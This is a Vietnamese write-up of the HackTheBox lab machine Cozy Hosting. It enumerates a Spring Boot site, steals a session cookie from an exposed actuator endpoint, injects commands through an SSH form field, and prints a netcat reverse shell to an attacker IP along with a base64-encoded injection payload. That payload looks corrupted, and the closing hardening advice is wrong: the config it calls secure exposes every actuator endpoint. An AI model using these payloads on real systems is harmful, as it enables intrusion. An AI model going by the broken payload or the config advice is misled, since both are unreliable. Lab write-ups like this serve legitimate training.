+3

[Write-up] HACKTHEBOX Machine: Cozy Hosting. Sensitive Information Disclosure rất nguy hiểm!

Giới thiệu

CozyHosting là 1 machine dễ ở trên HackTheBox. Nó sẽ phù hợp đối với những bạn mới tập chơi machine ở phần Init Access. Nhưng nếu muốn có flag thì bạn cần phải có thêm 1 số kỹ năng nhỏ nữa để có thể đạt được

1. Recon

Sử dụng Nmap và kiểm tra các cổng đang mở trên hệ thống

image.png

Kết quả: dịch vụ đang chạy ssh và http

Thực hiện thêm dòng sau vào tệp /etc/hosts

       10.10.11.230        cozyhosting.htb

Truy cập vào trang web http://cozyhosting.htb

image.png

2. Enumeration

Thực hiện quét các đường dẫn trên trang Web với ffuf:

ffuf -c -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u
'http://cozyhosting.htb/FUZZ'

image.png

Với các đường dẫn như index thì không có dấu hiệu gì, với admin thì phải là admin thì mới truy cập được. Login và logout có lẽ là endpoint để đăng nhập và đăng xuất

Thử truy cập với endpoint là error thì nhận được thông báo sau

image.png

Nhận được thông báo như trên, search google với từ khoá "Whitelabel Error Page" thì nó là của Framework Springboot

Sử dụng Wappalyzer ta biết được Server chạy trên ngôn ngữ Java

image.png

Sau đó thực hiện Enum lại nhưng thay đổi wordlist thành wordlist dành cho server Java Springboot

ffuf -c -ic -u http://cozyhosting.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt

image.png

Xác định được Server sử dụng 1 Framework của Spring là actuator để giám sát cũng như quản lý ứng dụng web

3. Exploit

Chúng ta sẽ kiểm tra từng đường dẫn và sau khi tìm kiếm có 1 thông tin quan trọng ở endpoint actuator/sessions

Thực hiện truy cập vào đường dẫn

image.png

Ta thấy được 1 cookie của 1 người là kanderson

Thử thay đổi cookie và refresh lại trang login

image.png

Như vậy ta đã truy cập được vào trang quản trị và bypass được phần authentication

Có 1 phần đang chú ý trên trang web

image.png

Bắt trên Burp có 1 endpoint là /executessh

image.png

Rồi nó chuyển hướng sang 1 thông báo lỗi image.png

image.png

Ứng dụng trả lại lỗi lỗi của ssh,có vẻ như nó đang thực hiện một câu lệnh với ssh, câu lệnh có dạng như sau đối với input của ta

ssh "username"@"host"

Thử inject với username là ;ls; và host là 123.123.123.123 vào input như sau:

ssh ll;`ls`;@123.123.123.123

image.png Trả về kết quả của ls là file cloudhosting-0.0.1.jar có nghĩa có xảy ra Command Injection

Ta sẽ thực hiện 1 cái reverse shell có dạng như sau:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.10 8888 >/tmp/f

Sau đó sẽ encode base64

;`echo${IFS}'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI
%2bJjF8bmMgMTAuMTAuMTYuMTAgODg4OCA10.L3RtcC9m'|base64${IFS}-d|bash`;

image.png

Thực hiện lắng nghe với netcat ở máy local

image.png

4. Recomendation

  • Update file config của Springboot để chặn truy cập tới file actuator

Ở trên application.properties:

*# Secure Actuator endpoints*

*management.endpoints.web.exposure.include=**

*management.endpoint.health.show-details=never*

Với application.yml


yaml

Copy code

management:

  endpoints:

    web:

      exposure:

        include: "*"

  endpoint:

    health:

      show-details: never

Với config này sẽ giúp cho các đường dẫn của actuator được bảo mật an toàn

5. Reference

[1] . https://www.iothreat.com/blog/spring-actuator-information-leak


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí